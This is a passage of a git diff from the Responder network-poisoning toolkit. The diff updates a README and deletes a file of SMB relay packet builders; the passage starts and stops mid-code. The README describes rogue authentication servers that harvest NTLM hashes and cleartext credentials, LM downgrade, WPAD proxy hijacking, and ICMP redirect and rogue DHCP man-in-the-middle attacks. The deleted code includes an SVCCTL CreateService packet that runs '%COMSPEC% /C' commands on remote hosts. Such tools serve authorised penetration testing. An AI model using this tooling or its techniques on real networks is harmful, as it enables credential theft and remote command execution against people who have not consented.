-           self.fields["PipeTerminator"] = "\x00\x00\x00"
-        ##Convert Path to Unicode first before any Len calc.
-        self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
-        ##Data Len
-        self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
-        self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
-        ##Packet len
-        FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
-
-        self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
-        ##Bcc Buff Len
-        BccComplete    = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
-        self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

README.md

@@ -1,177 +1,184 @@
-NBT-NS/LLMNR Responder
-Laurent Gaffie <lgaffie@trustwave.com>
-http://www.spiderlabs.com
+# Responder.py #
 
-INTRODUCTION
-============
+LLMNR/NBT-NS/mDNS Poisoner
 
-This tool is first an LLMNR and NBT-NS responder, it will answer to 
-*specific* NBT-NS (NetBIOS Name Service) queries based on their name 
-suffix (see: http://support.microsoft.com/kb/163409). By default, the
-tool will only answers to File Server Service request, which is for SMB.
-The concept behind this, is to target our answers, and be stealthier on
-the network. This also helps to ensure that we don't break legitimate
-NBT-NS behavior. You can set the -r option to "On" via command line if 
-you want this tool to answer to the Workstation Service request name
-suffix.
+Author: Laurent Gaffie <laurent.gaffie@gmail.com >  https://g-laurent.blogspot.com
 
-FEATURES
-========
+
+
+## Intro ##
+
+Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
+
+The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
+
+## Features ##
 
 - Built-in SMB Auth server.
-  Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
-  Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
-  Clear text password is supported for NT4, and LM hashing downgrade when the 
-  --lm option is set to On. This functionality is enabled by default when the
-  tool is launched.
+	
+Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
 
 - Built-in MSSQL Auth server.
-  In order to redirect SQL Authentication to this tool, you will need to
-  set the option -r to On(NBT-NS queries for SQL Server lookup are using
-  the Workstation Service name suffix) for systems older than windows 
-  Vista (LLMNR will be used for Vista and higher). This server supports
-  NTLMv1, LMv2 hashes. This functionality was successfully tested on 
-  Windows SQL Server 2005 & 2008.
+
+In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
 
 - Built-in HTTP Auth server.
-  In order to redirect HTTP Authentication to this tool, you will need
-  to set the option -r to On for Windows version older than Vista (NBT-NS
-  queries for HTTP server lookup are sent using the Workstation Service
-  name suffix). For Vista and higher, LLMNR will be used. This server 
-  supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
-  was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
-  Note: This module also works for WebDav NTLM authentication issued from
-  Windows WebDav clients (WebClient). You can now send your custom files to a victim.
+
+In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
+
+Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
 
 - Built-in HTTPS Auth server.
-  In order to redirect HTTPS Authentication to this tool, you will need
-  to set the -r option to On for Windows versions older than Vista (NBT-NS
-  queries for HTTP server lookups are sent using the Workstation Service
-  name suffix). For Vista and higher, LLMNR will be used. This server 
-  supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
-  was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari.
-  The folder Cert/ was added and contain 2 default keys, including a dummy
-  private key. This is *intentional*, the purpose is to have Responder 
-  working out of the box. A script was added in case you need to generate
-  your own self signed key pair.
+
+Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
 
 - Built-in LDAP Auth server.
-  In order to redirect LDAP Authentication to this tool, you will need
-  to set the option -r to On for Windows version older than Vista (NBT-NS
-  queries for HTTP server lookup are sent using the Workstation Service
-  name suffix). For Vista and higher, LLMNR will be used. This server 
-  supports NTLMSSP hashes and Simple Authentication (clear text authentication).
-  This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
 
-- Built-in FTP Auth server.
-  This module will collect FTP clear text credentials.
+In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
 
-- Built-in small DNS server. This server will answer type A queries. This
-  is really handy when it's combined with ARP spoofing. 
+- Built-in FTP, POP3, IMAP, SMTP Auth servers.
 
-- All hashes are printed to stdout and dumped in an unique file John
-  Jumbo compliant, using this format:
-  (SMB or MSSQL or HTTP)-(ntlm-v1 or v2 or clear-text)-Client_IP.txt
-  The file will be located in the current folder.
+This modules will collect clear text credentials.
 
-- Responder will logs all its activity to a file Responder-Session.log.
+- Built-in DNS server.
 
-- When the option -f is set to "On", Responder will fingerprint every host who issued
-  an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. 
+This server will answer type A queries. This is really handy when it's combined with ARP spoofing. 
 
-- Browser Listener finds the PDC in stealth mode.
+- Built-in WPAD Proxy Server.
 
-- Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members. This attack combined with
-  the DNS module is pretty effective.
+This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
 
-- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
+- Browser Listener
 
-- Responder is now using a configuration file. See Responder.conf.
+This module allows to find the PDC in stealth mode.
 
-- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
+- Fingerprinting
 
-- Built-in SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials.
+When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. 
 
-CONSIDERATIONS
-==============
+- Icmp Redirect
 
-- This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433,
-  TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
-  If you run Samba on your system, stop smbd and nmbd and all other 
-  services listening on these ports.
-  For Ubuntu users: 
-  Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line : "dns=dnsmasq".
-  Then kill dnsmasq with this command (as root): killall dnsmasq -9
+    python tools/Icmp-Redirect.py
 
-- Any rogue server can be turn off in Responder.conf.
+For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
 
-- You can set a network interface via command line switch -I. Default is all. 
+- Rogue DHCP
+
+    python tools/DHCP.py
+
+DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
+
+- Analyze mode.
+
+This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet. 
+
+## Hashes ##
+
+All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
+
+    (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
+
+Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
+
+- Responder will logs all its activity to Responder-Session.log
+- Analyze mode will be logged to Analyze-Session.log
+- Poisoning will be logged to Poisoners-Session.log
+
+Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
+
+
+## Considerations ##
+
+- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
+
+- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
+
+- For Ubuntu users:
+
+Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9`
+
+- Any rogue server can be turned off in Responder.conf.
 
 - This tool is not meant to work on Windows.
 
+- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
 
-USAGE
-=====
+    launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
 
-First of all, please take a look at Responder.conf and set it for your needs.
-Running this tool:
+    launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
 
-- python Responder.py [options]
+    launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
 
-Usage Example:
+    launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
 
-python Responder.py -i 10.20.30.40 -r On -I eth0
+## Usage ##
 
-Options List:
+First of all, please take a look at Responder.conf and tweak it for your needs.
 
--h, --help                           show this help message and exit.
+Running the tool:
 
--i 10.20.30.40, --ip=10.20.30.40     The ip address to redirect the traffic to.
-                                     (usually yours)
+    ./Responder.py [options]
 
--I eth0, --interface=eth0            Network interface to use
+Typical Usage Example:
 
--b Off, --basic=Off                  Set this to On if you want to return a 
-                                     Basic HTTP authentication. Off will return 
-                                     an NTLM authentication.
+    ./Responder.py -I eth0 -rPv
 
--r Off, --wredir=Off                 Set this to On to enable answers for netbios 
-                                     wredir suffix queries. Answering to wredir
-                                     will likely break stuff on the network 
-                                     (like classics 'nbns spoofer' will).
-                                     Default value is therefore set to Off.
+Options:
 
--f Off, --fingerprint=Off            This option allows you to fingerprint a 
-                                     host that issued an NBT-NS or LLMNR query.
-
--w On, --wpad=On                     Set this to On or Off to start/stop the WPAD rogue
-                                     proxy server. Default value is On
-
---lm=Off                             Set this to On if you want to force LM hashing
-                                     downgrade for Windows XP/2003 and earlier. Default value is Off
-
--F Off, --ForceWpadAuth=Off          Set this to On or Off to force NTLM/Basic authentication on 
-                                     wpad.dat file retrieval. This might cause a login prompt in
-                                     some specific cases. Default value is Off
-
--v                                   More verbose
+	  --version             show program's version number and exit.
+	  -h, --help            show this help message and exit.
+	  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
+	                        BROWSER, LLMNR requests without responding.
+	  -I eth0, --interface=eth0
+	                        Network interface to use.
+          -i 10.0.0.21, --ip=10.0.0.21
+                                Local IP to use (only for OSX)
+          -e 10.0.0.22, --externalip=10.0.0.22
+                                Poison all requests with another IP address than
+                                Responder's one.
+	  -b, --basic           Return a Basic HTTP authentication. Default: NTLM
+	  -r, --wredir          Enable answers for netbios wredir suffix queries.
+	                        Answering to wredir will likely break stuff on the
+	                        network. Default: Off
+	  -d, --NBTNSdomain     Enable answers for netbios domain suffix queries.
+	                        Answering to domain suffixes will likely break stuff
+	                        on the network. Default: Off
+	  -f, --fingerprint     This option allows you to fingerprint a host that
+	                        issued an NBT-NS or LLMNR query.
+	  -w, --wpad            Start the WPAD rogue proxy server. Default value is
+	                        Off
+	  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
+	                        Upstream HTTP proxy used by the rogue WPAD Proxy for
+	                        outgoing requests (format: host:port)
+	  -F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
+	                        retrieval. This may cause a login prompt. Default:
+	                        Off
+	  -P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt) 
+                                authentication for the proxy. WPAD doesn't need to
+                                be ON. This option is highly effective when combined
+                                with -r. Default: Off
+	  --lm                  Force LM hashing downgrade for Windows XP/2003 and
+	                        earlier. Default: Off
+	  -v, --verbose         Increase verbosity.
 	
 
+## Donation ##
 
-For more information read these posts: 
-http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
-http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
-http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
+You can contribute to this project by donating to the following BTC address:
 
-Follow our latest updates on twitter:
-https://twitter.com/PythonResponder
+1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
 
-COPYRIGHT
-=========
+Or via Paypal:
+
+[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)
+
+## Copyright ##
 
 NBT-NS/LLMNR Responder
-Created by Laurent Gaffie
-Copyright (C) 2013 Trustwave Holdings, Inc.
+
+Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
+
+email: laurent.gaffie@gmail.com
 
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
@@ -184,4 +191,4 @@ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
 
 You should have received a copy of the GNU General Public License
-along with this program.  If not, see <http://www.gnu.org/licenses/>
+along with this program.  If not, see <http://www.gnu.org/licenses/>.

RelayPackets.py

@@ -1,480 +0,0 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-##################################################################################
-#SMB Client Stuff
-##################################################################################
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x4e"),
-        ("uid", "\x00\x08"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x00"),
-        ("Bcc", "\x62\x00"),
-        ("Data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("Separator1","\x02" ),
-        ("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("Separator2","\x02"),
-        ("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-        ("Separator3","\x02"),
-        ("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
-        ("Separator4","\x02"),
-        ("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
-        ("Separator5","\x02"),
-        ("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
-        ("Separator6","\x02"),
-        ("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
-    ])
-
-class SMBSessionTreeData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",   "\x0d"),
-        ("AndXCommand", "\x75"),
-        ("Reserved",    "\x00" ),
-        ("Andxoffset", "\x7c\x00"),
-        ("Maxbuff","\x04\x11"),
-        ("Maxmpx", "\x32\x00"),
-        ("Vcnum","\x00\x00"),
-        ("Sessionkey", "\x00\x00\x00\x00"),
-        ("AnsiPassLength","\x18\x00"),
-        ("UnicodePassLength", "\x00\x00"),
-        ("Reserved2","\x00\x00\x00\x00"),
-        ("Capabilities", "\xd4\x00\x00\x00"),
-        ("Bcc","\x3f\x00"),   
-        ("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
-        ("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
-        ("Username","Administrator"),
-        ("UsernameTerminator","\x00\x00"),
-        ("Domain","SMB"),
-        ("DomainTerminator","\x00\x00"),
-        ("Nativeos",""),
-        ("NativeosTerminator","\x00\x00"),
-        ("Lanmanager",""),
-        ("LanmanagerTerminator","\x00\x00\x00"),
-        ("Wordcount2","\x04"),
-        ("Andxcmd2","\xff"),
-        ("Reserved3","\x00"),
-        ("Andxoffset2","\x06\x01"),
-        ("Flags","\x08\x00"),
-        ("PasswordLength","\x01\x00"),
-        ("Bcc2","\x19\x00"),
-        ("Passwd","\x00"),
-        ("PrePath","\\\\"),
-        ("Targ", "CSCDSFCS"),
-        ("IPC", "\\IPC$"),
-        ("TerminatorPath","\x00\x00"),
-        ("Service","?????"),
-        ("TerminatorService","\x00"),
-    ])
-    def calculate(self):
-        ##Convert first
-        self.fields["Username"] = self.fields["Username"].encode('utf-16be')
-        self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
-        self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
-        self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
-        self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
-        self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
-        self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
-        ##Then calculate
-        data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
-
-        data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
-
-        self.fields["Bcc"] = struct.pack("<h",len(data1))
-        self.fields["Bcc2"] = struct.pack("<h",len(data2))
-        self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
-        self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
-        self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
-        self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
-
-class SMBNTCreateData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",     "\x18"),
-        ("AndXCommand",   "\xff"),
-        ("Reserved",      "\x00" ),
-        ("Andxoffset",    "\x00\x00"),
-        ("Reserved2",     "\x00"),
-        ("FileNameLen",   "\x07\x00"),
-        ("CreateFlags",   "\x16\x00\x00\x00"),
-        ("RootFID",       "\x00\x00\x00\x00"),
-        ("AccessMask",    "\x00\x00\x00\x02"),
-        ("AllocSize",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("FileAttrib",    "\x00\x00\x00\x00"),
-        ("ShareAccess",   "\x07\x00\x00\x00"),
-        ("Disposition",   "\x01\x00\x00\x00"),   
-        ("CreateOptions", "\x00\x00\x00\x00"),
-        ("Impersonation", "\x02\x00\x00\x00"),
-        ("SecurityFlags", "\x00"),
-        ("Bcc",           "\x08\x00"),
-        ("FileName",      "\\svcctl"),
-        ("FileNameNull",  "\x00"),
-    ])
-
-    def calculate(self):
-
-        Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
-        self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
-        self.fields["Bcc"] = struct.pack("<h",len(Data1))
-
-class SMBReadData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",     "\x0a"),
-        ("AndXCommand",   "\xff"),
-        ("Reserved",      "\x00" ),
-        ("Andxoffset",    "\x00\x00"),
-        ("FID",           "\x00\x00"),
-        ("Offset",        "\x19\x03\x00\x00"), 
-        ("MaxCountLow",   "\xed\x01"),
-        ("MinCount",      "\xed\x01"),
-        ("Hidden",        "\xff\xff\xff\xff"),
-        ("Remaining",     "\x00\x00"),  
-        ("Bcc",           "\x00\x00"),
-        ("Data", ""),
-    ])
-
-    def calculate(self):
-
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBWriteData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",     "\x0e"),
-        ("AndXCommand",   "\xff"),
-        ("Reserved",      "\x00" ),
-        ("Andxoffset",    "\x00\x00"),
-        ("FID",           "\x06\x40"),
-        ("Offset",        "\xea\x03\x00\x00"),
-        ("Reserved2",     "\xff\xff\xff\xff"),
-        ("WriteMode",     "\x08\x00"),
-        ("Remaining",     "\xdc\x02"),
-        ("DataLenHi",     "\x00\x00"),
-        ("DataLenLow",    "\xdc\x02"),
-        ("DataOffset",    "\x3f\x00"),
-        ("HiOffset",      "\x00\x00\x00\x00"),   
-        ("Bcc",           "\xdc\x02"),
-        ("Data", ""),
-    ])
-
-    def calculate(self):
-        self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
-        self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBDCEData(Packet):
-    fields = OrderedDict([
-        ("Version",       "\x05"),
-        ("VersionLow",    "\x00"),
-        ("PacketType",    "\x0b"),
-        ("PacketFlag",    "\x03"),
-        ("DataRepresent", "\x10\x00\x00\x00"),
-        ("FragLen",       "\x2c\x02"),
-        ("AuthLen",       "\x00\x00"),
-        ("CallID",        "\x00\x00\x00\x00"),
-        ("MaxTransFrag",  "\xd0\x16"),
-        ("MaxRecvFrag",   "\xd0\x16"),
-        ("GroupAssoc",    "\x00\x00\x00\x00"),
-        ("CTXNumber",     "\x01"),
-        ("CTXPadding",    "\x00\x00\x00"),
-        ("CTX0ContextID",  "\x00\x00"),
-        ("CTX0ItemNumber", "\x01\x00"),
-        ("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
-        ("CTX0UIDVersion", "\x02\x00"),
-        ("CTX0UIDVersionlo","\x00\x00"),
-        ("CTX0UIDSyntax",   "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
-        ("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
-    ])
-
-    def calculate(self):
-
-        Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
-
-
-        self.fields["FragLen"] = struct.pack("<h",len(Data1))
-
-class SMBDCEPacketData(Packet):
-    fields = OrderedDict([
-        ("Version",       "\x05"),
-        ("VersionLow",    "\x00"),
-        ("PacketType",    "\x00"),
-        ("PacketFlag",    "\x03"),
-        ("DataRepresent", "\x10\x00\x00\x00"),
-        ("FragLen",       "\x2c\x02"),
-        ("AuthLen",       "\x00\x00"),
-        ("CallID",        "\x00\x00\x00\x00"),
-        ("AllocHint",     "\x38\x00\x00\x00"),
-        ("ContextID",     "\x00\x00"),
-        ("Opnum",         "\x0f\x00"),
-        ("Data",          ""),
-
-    ])
-
-    def calculate(self):
-
-        Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
-
-        self.fields["FragLen"] = struct.pack("<h",len(Data1))
-        self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
-
-class SMBDCESVCCTLOpenManagerW(Packet):
-    fields = OrderedDict([
-        ("MachineNameRefID",     "\xb5\x97\xb9\xbc"),
-        ("MaxCount",             "\x0f\x00\x00\x00"),
-        ("Offset",               "\x00\x00\x00\x00"),
-        ("ActualCount",          "\x0f\x00\x00\x00"),
-        ("MachineName",          "\\\\169.220.1.11"),##This is not taken into consideration.
-        ("MachineNameNull",      "\x00\x00\x00\x00"),
-        ("DbPointer",            "\x00\x00\x00\x00"),
-        ("AccessMask",           "\x3f\x00\x0f\x00"),
-    ])
-
-    def calculate(self):
-        ## Convert to UTF-16LE
-        self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
-
-
-class SMBDCESVCCTLCreateService(Packet):
-    fields = OrderedDict([
-        ("ContextHandle",        ""),
-        ("MaxCount",             "\x0c\x00\x00\x00"),
-        ("Offset",               "\x00\x00\x00\x00"),
-        ("ActualCount",          "\x0c\x00\x00\x00"),
-        ("ServiceName",          "AyAGaxwLhCP"),
-        ("MachineNameNull",      "\x00\x00"),
-        ("ReferentID",           "\x9c\xfa\x9a\xc9"),
-        ("MaxCountRefID",        "\x11\x00\x00\x00"),
-        ("OffsetID",             "\x00\x00\x00\x00"),
-        ("ActualCountRefID",     "\x11\x00\x00\x00"),
-        ("DisplayNameID",        "DhhUFcsvrfJvLwRq"),
-        ("DisplayNameIDNull",    "\x00\x00\x00\x00"),
-        ("AccessMask",           "\xff\x01\x0f\x00"),
-        ("ServerType",           "\x10\x01\x00\x00"),
-        ("ServiceStartType",     "\x03\x00\x00\x00"),
-        ("ServiceErrorCtl",      "\x00\x00\x00\x00"),
-        ("BinPathMaxCount",      "\xb6\x00\x00\x00"),
-        ("BinPathOffset",        "\x00\x00\x00\x00"),
-        ("BinPathActualCount",   "\xb6\x00\x00\x00"),
-        ("BinPathName",          "%COMSPEC% /C \""),
-        ("BinCMD",               ""),
-        ("BintoEnd",             "\""),
-        ("BinPathNameNull",      "\x00\x00"),
-        ("Nullz",                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
-    ])
-
-    def calculate(self):
-
-        BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
-
-        ## Calculate first
-        self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
-        self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
-        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
